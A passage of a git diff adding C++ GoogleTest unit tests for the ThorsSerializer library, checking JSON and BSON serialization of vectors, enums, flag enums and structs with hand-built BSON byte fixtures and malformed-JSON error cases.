stream(R"([5,6,8,101,123])"); + static const char inputRaw[] + = "\x28\x00\x00\x00" + "\x10" "0\x00" "\x05\x00\x00\x00" + "\x10" "1\x00" "\x06\x00\x00\x00" + "\x10" "2\x00" "\x08\x00\x00\x00" + "\x10" "3\x00" "\x65\x00\x00\x00" + "\x10" "4\x00" "\x7B\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + stream >> TS::bsonImporter(data, false); + + EXPECT_TRUE(data.find(5) != data.end()); + EXPECT_TRUE(data.find(6) != data.end()); + EXPECT_TRUE(data.find(8) != data.end()); + EXPECT_TRUE(data.find(101) != data.end()); + EXPECT_TRUE(data.find(123) != data.end()); +} + diff --git a/Extern/include/ThorsSerializer/test/SerVectorTest.cpp b/Extern/include/ThorsSerializer/test/SerVectorTest.cpp new file mode 100644 index 0000000..b2c0af6 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerVectorTest.cpp @@ -0,0 +1,135 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "SerUtil.h" +#include + +using namespace ThorsAnvil::Serialize; + +TEST(SerVectorTest, JsonArrayEmpty) +{ + std::stringstream stream("[]"); + std::vector data; + + stream >> jsonImporter(data, false); + + EXPECT_EQ(data.empty(), true); +} + +TEST(SerVectorTest, JsonVectorOfIntSerialize) +{ + std::vector data{1,2,3,4,5,6,7,8,101,102,9,10}; + + std::stringstream stream; + stream << jsonExporter(data, false); + + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(result, R"([1,2,3,4,5,6,7,8,101,102,9,10])"); +} +TEST(SerVectorTest, JsonVectorOfIntDeSerialize) +{ + std::vector data; + std::stringstream stream("[1,2,3,4,5,6,7,8,101,102,9,10]"); + + stream >> jsonImporter(data, false); + auto loop = data.begin(); + + EXPECT_EQ(*loop++, 1); + EXPECT_EQ(*loop++, 2); + EXPECT_EQ(*loop++, 3); + EXPECT_EQ(*loop++, 4); + EXPECT_EQ(*loop++, 5); + EXPECT_EQ(*loop++, 6); + EXPECT_EQ(*loop++, 7); + EXPECT_EQ(*loop++, 8); + EXPECT_EQ(*loop++, 101); + EXPECT_EQ(*loop++, 102); + EXPECT_EQ(*loop++, 9); + EXPECT_EQ(*loop++, 10); +} + +TEST(SerVectorTest, BsonArrayEmpty) +{ + //std::stringstream stream("[]"); + static const char inputRaw[] + = "\x05\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + std::vector data; + + stream >> bsonImporter(data, false); + + EXPECT_EQ(data.empty(), true); +} + +TEST(SerVectorTest, BsonVectorOfIntSerialize) +{ + std::vector data{1,2,3,4,5,6,7,8,101,102,9,10}; + + std::stringstream stream; + stream << bsonExporter(data, false); + + std::string result = stream.str(); + + static const char expectedRaw[] + = "\x5B\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x10" "4\x00" "\x05\x00\x00\x00" + "\x10" "5\x00" "\x06\x00\x00\x00" + "\x10" "6\x00" "\x07\x00\x00\x00" + "\x10" "7\x00" "\x08\x00\x00\x00" + "\x10" "8\x00" "\x65\x00\x00\x00" + "\x10" "9\x00" "\x66\x00\x00\x00" + "\x10" "10\x00" "\x09\x00\x00\x00" + "\x10" "11\x00" "\x0A\x00\x00\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(result, expected); + //EXPECT_EQ(result, R"([1,2,3,4,5,6,7,8,101,102,9,10])"); +} +TEST(SerVectorTest, BsonVectorOfIntDeSerialize) +{ + std::vector data; + //std::stringstream stream("[1,2,3,4,5,6,7,8,101,102,9,10]"); + static const char inputRaw[] + = "\x5B\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x03\x00\x00\x00" + "\x10" "3\x00" "\x04\x00\x00\x00" + "\x10" "4\x00" "\x05\x00\x00\x00" + "\x10" "5\x00" "\x06\x00\x00\x00" + "\x10" "6\x00" "\x07\x00\x00\x00" + "\x10" "7\x00" "\x08\x00\x00\x00" + "\x10" "8\x00" "\x65\x00\x00\x00" + "\x10" "9\x00" "\x66\x00\x00\x00" + "\x10" "10\x00" "\x09\x00\x00\x00" + "\x10" "11\x00" "\x0A\x00\x00\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream stream(input); + + stream >> bsonImporter(data, false); + auto loop = data.begin(); + + EXPECT_EQ(*loop++, 1); + EXPECT_EQ(*loop++, 2); + EXPECT_EQ(*loop++, 3); + EXPECT_EQ(*loop++, 4); + EXPECT_EQ(*loop++, 5); + EXPECT_EQ(*loop++, 6); + EXPECT_EQ(*loop++, 7); + EXPECT_EQ(*loop++, 8); + EXPECT_EQ(*loop++, 101); + EXPECT_EQ(*loop++, 102); + EXPECT_EQ(*loop++, 9); + EXPECT_EQ(*loop++, 10); +} + diff --git a/Extern/include/ThorsSerializer/test/SerializeEnumTest.cpp b/Extern/include/ThorsSerializer/test/SerializeEnumTest.cpp new file mode 100644 index 0000000..36ccb3e --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerializeEnumTest.cpp @@ -0,0 +1,235 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include "Serialize.h" +#include "test/SerializeTest.h" +#include + +std::string stripspace(std::string const& value) +{ + std::string result(value); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return std::isspace(x);}), std::end(result)); + return result; +} + +TEST(SerializeEnumTest, JsonRedGreenBlueAtRed) +{ + SerializeTest::RGB enumHolder {SerializeTest::Red}; + std::stringstream str; + str << ThorsAnvil::Serialize::jsonExporter(enumHolder, false); + + EXPECT_EQ(R"("Red")", stripspace(str.str())); +} +TEST(SerializeEnumTest, JsonRedGreenBlueAtGreen) +{ + SerializeTest::RGB enumHolder {SerializeTest::Green}; + std::stringstream str; + str << ThorsAnvil::Serialize::jsonExporter(enumHolder, false); + + EXPECT_EQ(R"("Green")", stripspace(str.str())); +} +TEST(SerializeEnumTest, JsonRedGreenBlueAtBlue) +{ + SerializeTest::RGB enumHolder {SerializeTest::Blue}; + std::stringstream str; + str << ThorsAnvil::Serialize::jsonExporter(enumHolder, false); + + EXPECT_EQ(R"("Blue")", stripspace(str.str())); +} +TEST(DeSerializeEnumTest, JsonRefGreenBlueFromRed) +{ + std::stringstream str(R"("Red")"); + SerializeTest::RGB enumHolder {SerializeTest::Green}; + + str >> ThorsAnvil::Serialize::jsonImporter(enumHolder, false); + EXPECT_EQ(SerializeTest::Red, enumHolder); +} +TEST(DeSerializeEnumTest, JsonRefGreenBlueFromGreen) +{ + std::stringstream str(R"("Green")"); + SerializeTest::RGB enumHolder {SerializeTest::Red}; + + str >> ThorsAnvil::Serialize::jsonImporter(enumHolder, false); + EXPECT_EQ(SerializeTest::Green, enumHolder); +} +TEST(DeSerializeEnumTest, JsonRefGreenBlueFromBlue) +{ + std::stringstream str(R"("Blue")"); + SerializeTest::RGB enumHolder {SerializeTest::Green}; + + str >> ThorsAnvil::Serialize::jsonImporter(enumHolder, false); + EXPECT_EQ(SerializeTest::Blue, enumHolder); +} +TEST(SerializeEnumTest, JsonSerEnumInContainer) +{ + SerializeTest::EumHolder holder { SerializeTest::Red }; + + std::stringstream str; + + str << ThorsAnvil::Serialize::jsonExporter(holder, false); + EXPECT_EQ(R"({"value":"Red"})", stripspace(str.str())); +} +TEST(SerializeEnumTest, JsonDeSerEnumInContainer) +{ + SerializeTest::EumHolder holder { SerializeTest::Red }; + std::stringstream str(R"({"value": "Green"})"); + + str >> ThorsAnvil::Serialize::jsonImporter(holder, false); + EXPECT_EQ(SerializeTest::Green, holder.value); +} + + +TEST(SerializeEnumTest, BsonRedGreenBlueAtRed) +{ + SerializeTest::RGB enumHolder {SerializeTest::Red}; + std::stringstream str; + str << ThorsAnvil::Serialize::bsonExporter(enumHolder, false); + + static const char expectedRaw[] + = "\x10\x00\x00\x00" + "\x02" "0\x00" "\x04\x00\x00\x00" "Red\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, str.str()); + //EXPECT_EQ(R"("Red")", stripspace(str.str())); +} +TEST(SerializeEnumTest, BsonRedGreenBlueAtGreen) +{ + SerializeTest::RGB enumHolder {SerializeTest::Green}; + std::stringstream str; + str << ThorsAnvil::Serialize::bsonExporter(enumHolder, false); + + static const char expectedRaw[] + = "\x12\x00\x00\x00" + "\x02" "0\x00" "\x06\x00\x00\x00" "Green\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, str.str()); + //EXPECT_EQ(R"("Green")", stripspace(str.str())); +} +TEST(SerializeEnumTest, BsonRedGreenBlueAtBlue) +{ + SerializeTest::RGB enumHolder {SerializeTest::Blue}; + std::stringstream str; + str << ThorsAnvil::Serialize::bsonExporter(enumHolder, false); + + static const char expectedRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Blue\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, str.str()); + //EXPECT_EQ(R"("Blue")", stripspace(str.str())); +} +TEST(DeSerializeEnumTest, BsonRefGreenBlueFromRed) +{ + //std::stringstream str(R"("Red")"); + static const char inputRaw[] + = "\x10\x00\x00\x00" + "\x02" "0\x00" "\x04\x00\x00\x00" "Red\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream str(input); + SerializeTest::RGB enumHolder {SerializeTest::Green}; + + str >> ThorsAnvil::Serialize::bsonImporter(enumHolder, false); + EXPECT_EQ(SerializeTest::Red, enumHolder); +} +TEST(DeSerializeEnumTest, BsonRefGreenBlueFromGreen) +{ + //std::stringstream str(R"("Green")"); + static const char inputRaw[] + = "\x12\x00\x00\x00" + "\x02" "0\x00" "\x06\x00\x00\x00" "Green\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream str(input); + SerializeTest::RGB enumHolder {SerializeTest::Red}; + + str >> ThorsAnvil::Serialize::bsonImporter(enumHolder, false); + EXPECT_EQ(SerializeTest::Green, enumHolder); +} +TEST(DeSerializeEnumTest, BsonRefGreenBlueFromBlue) +{ + //std::stringstream str(R"("Blue")"); + static const char inputRaw[] + = "\x11\x00\x00\x00" + "\x02" "0\x00" "\x05\x00\x00\x00" "Blue\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream str(input); + SerializeTest::RGB enumHolder {SerializeTest::Green}; + + str >> ThorsAnvil::Serialize::bsonImporter(enumHolder, false); + EXPECT_EQ(SerializeTest::Blue, enumHolder); +} +TEST(SerializeEnumTest, BsonSerEnumInContainer) +{ + SerializeTest::EumHolder holder { SerializeTest::Red }; + + std::stringstream str; + + str << ThorsAnvil::Serialize::bsonExporter(holder, false); + static const char expectedRaw[] + = "\x14\x00\x00\x00" + "\x02" "value\x00" "\x04\x00\x00\x00" "Red\x00" + "\x00"; + std::string expected(std::begin(expectedRaw), std::end(expectedRaw) - 1); + EXPECT_EQ(expected, str.str()); + //EXPECT_EQ(R"({"value":"Red"})", stripspace(str.str())); +} +TEST(SerializeEnumTest, BsonDeSerEnumInContainer) +{ + SerializeTest::EumHolder holder { SerializeTest::Red }; + //std::stringstream str(R"({"value": "Green"})"); + static const char inputRaw[] + = "\x16\x00\x00\x00" + "\x02" "value\x00" "\x06\x00\x00\x00" "Green\x00" + "\x00"; + std::string input(std::begin(inputRaw), std::end(inputRaw) - 1); + std::stringstream str(input); + + str >> ThorsAnvil::Serialize::bsonImporter(holder, false); + EXPECT_EQ(SerializeTest::Green, holder.value); +} + +TEST(SerializeEnumTest, EnumFlagEmpty) +{ + SerializeTest::Flag value = SerializeTest::Flag::empty; + std::stringstream str; + str << value; + EXPECT_EQ("empty", str.str()); +} +TEST(SerializeEnumTest, EnumFlagOne) +{ + SerializeTest::Flag value = SerializeTest::Flag::One; + std::stringstream str; + str << value; + EXPECT_EQ("One", str.str()); +} +TEST(SerializeEnumTest, EnumFlagTwo) +{ + SerializeTest::Flag value = SerializeTest::Flag::Two; + std::stringstream str; + str << value; + EXPECT_EQ("Two", str.str()); +} +TEST(SerializeEnumTest, EnumFlagThree) +{ + SerializeTest::Flag value = SerializeTest::Flag::Three; + std::stringstream str; + str << value; + EXPECT_EQ("Three", str.str()); +} +TEST(SerializeEnumTest, EnumFlagOneThree) +{ + SerializeTest::Flag value = SerializeTest::Flag::One | SerializeTest::Flag::Three; + std::stringstream str; + str << value; + EXPECT_EQ("One | Three", str.str()); +} + + + + diff --git a/Extern/include/ThorsSerializer/test/SerializeTest.cpp b/Extern/include/ThorsSerializer/test/SerializeTest.cpp new file mode 100644 index 0000000..f1b9c10 --- /dev/null +++ b/Extern/include/ThorsSerializer/test/SerializeTest.cpp @@ -0,0 +1,606 @@ +#include "SerializeConfig.h" +#include "gtest/gtest.h" +#include "test/SerializeTest.h" +#include "Serialize.h" +#include "Traits.h" +#include "JsonThor.h" +#include "BsonThor.h" +#include +#include +#include + + +std::string const testData1 = R"({"theInteger":34,"aNonRealValue":56.78,"test":true,"normalString":"Done"})"; +std::string const testData2 = R"({"theInteger":456,"aNonRealValue":89.101,"test":false,"normalString":"Akinkthatisnotstraight","data1":1,"data2":2})"; +std::string const testData3 = R"({"member1":{"theInteger":234567,"aNonRealValue":123.45,"test":true,"normalString":"NotASquareAndOnlyOneSide"})" + R"(,"member2":{"theInteger":234567,"aNonRealValue":123.45,"test":true,"normalString":"NotASquareAndOnlyOneSide","data1":67,"data2":11}})"; +// testData4 is identical to testData1 but with several ignored fields added. +std::string const testData4 = R"({"theInteger":34,"aNonRealValue":56.78,"test":true,"normalString":"Done","ShouldIgnore":true, "ignoreMap": {"Plop":true}, "ignoreArray":[true, false, [1,2,34], {"key":"value"}]})"; +std::string const testData5 = R"({"theInteger":34,"aNonRealValue":56.78,"test":true,"normalString":"Done","anotherValue":14})"; +std::string const testDataE1 = R"({"ignoreMap": {"Plop":true, ]}})"; +std::string const testDataE2 = R"({"ignoreArray": [}]})"; +std::string const testDataE3 = R"({"ignoreArray": [)"; +std::string const testDataE4 = R"({"ignoreArray": )"; +std::string const testDataE5 = R"({"ignoreArray": ])"; +std::string const testDataE6 = R"({"ignoreArray": })"; +std::string const testDataE7 = R"({"aNonRealValue":56.78,"test":true,"normalString":"Done", "anotherValue":13})"; + +TEST(SerializeTest, JsonSerializeStructureOfValue) +{ + SerializeTest::SerializeTestExtra data(34,56.78, true, "Done"); + + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + ThorsAnvil::Serialize::Serializer serializer(printer); + + serializer.print(data); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(testData1, result); +} + +TEST(SerializeTest, JsonDeSerializeStructureOfValue) +{ + SerializeTest::SerializeTestExtra data; + + std::stringstream stream(testData1); + ThorsAnvil::Serialize::JsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + deSerializer.parse(data); + + EXPECT_EQ(data.theInteger, 34); + EXPECT_EQ(data.aNonRealValue, 56.78); + EXPECT_EQ(data.test, true); + EXPECT_EQ(data.normalString, "Done"); +} + +TEST(SerializeTest, JsonSerializeStructureOfValueAndParents) +{ + SerializeTest::SerializeTestChild data(1, 2, 456, 89.101, false, "Akinkthatisnotstraight"); + + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + ThorsAnvil::Serialize::Serializer serializer(printer); + + serializer.print(data); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(testData2, result); +} + +TEST(SerializeTest, JsonDeSerializeStructureOfValueAndParent) +{ + SerializeTest::SerializeTestChild data; + + std::stringstream stream(testData2); + ThorsAnvil::Serialize::JsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + deSerializer.parse(data); + + EXPECT_EQ(data.theInteger, 456); + EXPECT_EQ(data.aNonRealValue, 89.101); + EXPECT_EQ(data.test, false); + EXPECT_EQ(data.normalString, "Akinkthatisnotstraight"); + EXPECT_EQ(data.data1, 1); + EXPECT_EQ(data.data2, 2); +} + +TEST(SerializeTest, JsonSerializeStructureMemberOfValue) +{ + SerializeTest::SerializeTestMembers data(67, 11, 234567, 123.45, true, "NotASquareAndOnlyOneSide"); + + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + ThorsAnvil::Serialize::Serializer serializer(printer); + + serializer.print(data); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(testData3, result); +} + +TEST(SerializeTest, JsonDeSerializeStructureMemberOfValue) +{ + SerializeTest::SerializeTestMembers data; + + std::stringstream stream(testData3); + ThorsAnvil::Serialize::JsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + deSerializer.parse(data); + + EXPECT_EQ(data.member1.theInteger, 234567); + EXPECT_EQ(data.member1.aNonRealValue, 123.45); + EXPECT_EQ(data.member1.test, true); + EXPECT_EQ(data.member1.normalString, "NotASquareAndOnlyOneSide"); + EXPECT_EQ(data.member2.theInteger, 234567); + EXPECT_EQ(data.member2.aNonRealValue, 123.45); + EXPECT_EQ(data.member2.test, true); + EXPECT_EQ(data.member2.normalString, "NotASquareAndOnlyOneSide"); + EXPECT_EQ(data.member2.data1, 67); + EXPECT_EQ(data.member2.data2, 11); +} + +TEST(SerializeTest, JsonStrictParserDoesNotIgnoreData) +{ + SerializeTest::SerializeTestExtra data; + + std::stringstream stream(testData4); + ThorsAnvil::Serialize::JsonParser parser(stream, ThorsAnvil::Serialize::ParserInterface::ParseType::Strict); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, JsonExactParserDoesNotIgnoreData) +{ + SerializeTest::SerializeTestExtra data; + + std::stringstream stream(testData4); + ThorsAnvil::Serialize::JsonParser parser(stream, ThorsAnvil::Serialize::ParserInterface::ParseType::Exact); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, JsonExactParserNeedsAllMembersFail) +{ + SerializeTest::SerializeExact data; + + // testData1 has all the members of SerializeTestExtra (parent of SerializeExact) + // but does not have anotherValue so should throw an exception + std::stringstream stream(testData1); + ThorsAnvil::Serialize::JsonParser parser(stream, ThorsAnvil::Serialize::ParserInterface::ParseType::Exact); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, JsonExactParserNeedsAllMembersAndParentFail) +{ + SerializeTest::SerializeExact data; + + // testData1 has all the members of SerializeTestExtra (parent of SerializeExact) + // but does not have anotherValue so should throw an exception + std::stringstream stream(testDataE7); + ThorsAnvil::Serialize::JsonParser parser(stream, ThorsAnvil::Serialize::ParserInterface::ParseType::Exact); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, JsonExactParserNeedsAllMembersGood) +{ + SerializeTest::SerializeExact data; + + std::stringstream stream(testData5); + ThorsAnvil::Serialize::JsonParser parser(stream, ThorsAnvil::Serialize::ParserInterface::ParseType::Exact); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + deSerializer.parse(data); +} +TEST(SerializeTest, JsonIgnoreAllTheDataWeDontCareAbout) +{ + SerializeTest::SerializeTestExtra data; + + std::stringstream stream(testData4); + ThorsAnvil::Serialize::JsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + deSerializer.parse(data); + + EXPECT_EQ(data.theInteger, 34); + EXPECT_EQ(data.aNonRealValue, 56.78); + EXPECT_EQ(data.test, true); + EXPECT_EQ(data.normalString, "Done"); +} +TEST(SerializeTest, JsonIgnoreDataMapWithBadData1) +{ + SerializeTest::SerializeTestExtra data; + + std::stringstream stream(testDataE1); + ThorsAnvil::Serialize::JsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, JsonIgnoreDataArrayWithBadData2) +{ + SerializeTest::SerializeTestExtra data; + + std::stringstream stream(testDataE2); + ThorsAnvil::Serialize::JsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, JsonIgnoreDataArrayWithBadData3) +{ + SerializeTest::SerializeTestExtra data; + + std::stringstream stream(testDataE3); + ThorsAnvil::Serialize::JsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, JsonIgnoreDataArrayWithBadData4) +{ + SerializeTest::SerializeTestExtra data; + + std::stringstream stream(testDataE4); + ThorsAnvil::Serialize::JsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, JsonIgnoreDataArrayWithBadData5) +{ + SerializeTest::SerializeTestExtra data; + + std::stringstream stream(testDataE5); + ThorsAnvil::Serialize::JsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, JsonIgnoreDataArrayWithBadData6) +{ + SerializeTest::SerializeTestExtra data; + + std::stringstream stream(testDataE6); + ThorsAnvil::Serialize::JsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + EXPECT_THROW( + deSerializer.parse(data), + std::runtime_error + ); +} +TEST(SerializeTest, JsonDerivedTypeNoNewMembers) +{ + SerializeTest::SerializeExactNoMembers data(34,56.78, true, "Done"); + + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + ThorsAnvil::Serialize::Serializer serializer(printer); + + serializer.print(data); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(testData1, result); +} +TEST(SerializeTest, JsonDerivedTypeNoNewMembersPolyMorphic) +{ + SerializeTest::SerializeExactNoMembersPoly data(34,56.78, true, "Done"); + + std::stringstream stream; + ThorsAnvil::Serialize::JsonPrinter printer(stream); + ThorsAnvil::Serialize::Serializer serializer(printer); + + serializer.print(data); + std::string result = stream.str(); + result.erase(std::remove_if(std::begin(result), std::end(result), [](char x){return ::isspace(x);}), std::end(result)); + + EXPECT_EQ(testData1, result); +} + +using namespace std::string_literals; +std::string const testData1Bson = "\x4a\x00\x00\x00" + "\x10" "theInteger\x00" "\x22\x00\x00\x00" + "\x01" "aNonRealValue\x00" "\xa4\x70\x3d\x0a\xd7\x63\x4c\x40" + "\x08" "test\x00" "\x01" + "\x02" "normalString\x00" "\x05\x00\x00\x00" "Done\x00" + "\x00"s; +//R"({"theInteger":34,"aNonRealValue":56.78,"test":true,"normalString":"Done"})"; +std::string const testData2Bson = "\x72\x00\x00\x00" + "\x10" "theInteger\x00" "\xC8\x01\x00\x00" + "\x01" "aNonRealValue\x00" "\x58\x39\xb4\xc8\x76\x46\x56\x40" + "\x08" "test\x00" "\x00" + "\x02" "normalString\x00" "\x17\x00\x00\x00" "Akinkthatisnotstraight\x00" + "\x10" "data1\x00" "\x01\x00\x00\x00" + "\x10" "data2\x00" "\x02\x00\x00\x00" + "\x00"s; +//R"({"theInteger":456,"aNonRealValue":89.101,"test":false,"normalString":"Akinkthatisnotstraight","data1":1,"data2":2})"; +std::string const testData3Bson = "\xE9\x00\x00\x00" + "\x03" "member1\x00" + "\x5E\x00\x00\x00" + "\x10" "theInteger\x00" "\x47\x94\x03\x00" + "\x01" "aNonRealValue\x00" "\xcd\xcc\xcc\xcc\xcc\xdc\x5e\x40" + "\x08" "test\x00" "\x01" + "\x02" "normalString\x00" "\x19\x00\x00\x00" "NotASquareAndOnlyOneSide\x00" + "\x00" + "\x03" "member2\x00" + "\x74\x00\x00\x00" + "\x10" "theInteger\x00" "\x47\x94\x03\x00" + "\x01" "aNonRealValue\x00" "\xcd\xcc\xcc\xcc\xcc\xdc\x5e\x40" + "\x08" "test\x00" "\x01" + "\x02" "normalString\x00" "\x19\x00\x00\x00" "NotASquareAndOnlyOneSide\x00" + "\x10" "data1\x00" "\x43\x00\x00\x00" + "\x10" "data2\x00" "\x0B\x00\x00\x00" + "\x00" + "\x00"s; +//R"({"member1":{"theInteger":234567,"aNonRealValue":123.45,"test":true,"normalString":"NotASquareAndOnlyOneSide"})" +//R"(,"member2":{"theInteger":234567,"aNonRealValue":123.45,"test":true,"normalString":"NotASquareAndOnlyOneSide","data1":67,"data2":11}})"; +// testData4 is identical to testData1 but with several ignored fields added. +std::string const testData4Bson = "\xbc\x00\x00\x00" + "\x10" "theInteger\x00" "\x22\x00\x00\x00" + "\x01" "aNonRealValue\x00" "\xa4\x70\x3d\x0a\xd7\x63\x4c\x40" + "\x08" "test\x00" "\x01" + "\x02" "normalString\x00" "\x05\x00\x00\x00" "Done\x00" + "\x08" "ShouldIgnore\x00" "\x01" + "\x03" "ignoreMap\x00" + "\x0C\x00\x00\x00" + "\x08" "Plop\x00" "\x01" + "\x00" + "\x04" "ignoreArr\x00" + "\x41\x00\x00\x00" + "\x08" "0\x00" "\x01" + "\x08" "1\x00" "\x01" + "\x04" "2\x00" + "\x1A\x00\x00\x00" + "\x10" "0\x00" "\x01\x00\x00\x00" + "\x10" "1\x00" "\x02\x00\x00\x00" + "\x10" "2\x00" "\x22\x00\x00\x00" + "\x00" + "\x03" "3\x00" + "\x14\x00\x00\x00" + "\x02" "key\x00" "\x06\x00\x00\x00" "value\x00" + "\x00" + "\x00" + "\x00"s; +//R"({"theInteger":34,"aNonRealValue":56.78,"test":true,"normalString":"Done","ShouldIgnore":true, "ignoreMap": {"Plop":true}, "ignoreArray":[true, false, [1,2,34], {"key":"value"}]})"; +std::string const testData5Bson = "\x5c\x00\x00\x00" + "\x10" "theInteger\x00" "\x22\x00\x00\x00" + "\x01" "aNonRealValue\x00" "\xa4\x70\x3d\x0a\xd7\x63\x4c\x40" + "\x08" "test\x00" "\x01" + "\x02" "normalString\x00" "\x05\x00\x00\x00" "Done\x00" + "\x10" "anotherValue\x00" "\x0E\x00\x00\x00" + "\x00"s; +//R"({"theInteger":34,"aNonRealValue":56.78,"test":true,"normalString":"Done","anotherValue":14})"; +TEST(SerializeTest, BsonSerializeStructureOfValue) +{ + SerializeTest::SerializeTestExtra data(34,56.78, true, "Done"); + + std::stringstream stream; + ThorsAnvil::Serialize::PrinterInterface::PrinterConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + ThorsAnvil::Serialize::BsonPrinter printer(stream, config); + ThorsAnvil::Serialize::Serializer serializer(printer); + + serializer.print(data); + std::string result = stream.str(); + + EXPECT_EQ(testData1Bson, result); +} + +TEST(SerializeTest, BsonDeSerializeStructureOfValue) +{ + SerializeTest::SerializeTestExtra data; + ThorsAnvil::Serialize::ParserInterface::ParserConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + std::stringstream stream(testData1Bson); + ThorsAnvil::Serialize::BsonParser parser(stream, config); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + deSerializer.parse(data); + + EXPECT_EQ(data.theInteger, 34); + EXPECT_EQ(data.aNonRealValue, 56.78); + EXPECT_EQ(data.test, true); + EXPECT_EQ(data.normalString, "Done"); +} + +TEST(SerializeTest, BsonSerializeStructureOfValueAndParents) +{ + SerializeTest::SerializeTestChild data(1, 2, 456, 89.101, false, "Akinkthatisnotstraight"); + ThorsAnvil::Serialize::PrinterInterface::PrinterConfig config; + config.parserInfo = static_cast(ThorsAnvil::Serialize::BsonContainer::Map); + + std::stringstream stream; + ThorsAnvil::Serialize::BsonPrinter printer(stream, config); + ThorsAnvil::Serialize::Serializer serializer(printer); + + serializer.print(data); + std::string result = stream.str(); + + EXPECT_EQ(testData2Bson, result); +} + +TEST(SerializeTest, BsonDeSerializeStructureOfValueAndParent) +{ + SerializeTest::SerializeTestChild data; + + std::stringstream stream(testData2Bson); + ThorsAnvil::Serialize::BsonParser parser(stream); + ThorsAnvil::Serialize::DeSerializer deSerializer(parser); + + deSerializer.parse(data); + + EXPECT_EQ(data.theInteger, 456); + EXPECT_EQ(data.aNonRealValue, 89.101); + EXPECT_EQ(data.test, false); + EXPECT_EQ(data.normalString, "Akinkthatisnotstraight"); + EXPECT_EQ(data.data1, 1); + EXPECT_EQ(data.data2, 2); +} + +TEST(SerializeTest, BsonSerializeStructureMemberOfValue) +{ + SerializeTest::SerializeTestMembers data(67, 11, 234567, 123.45, true, "NotASquareAndOnlyOneSide"); + ThorsAnvil::Serialize::PrinterInterface::PrinterConfig 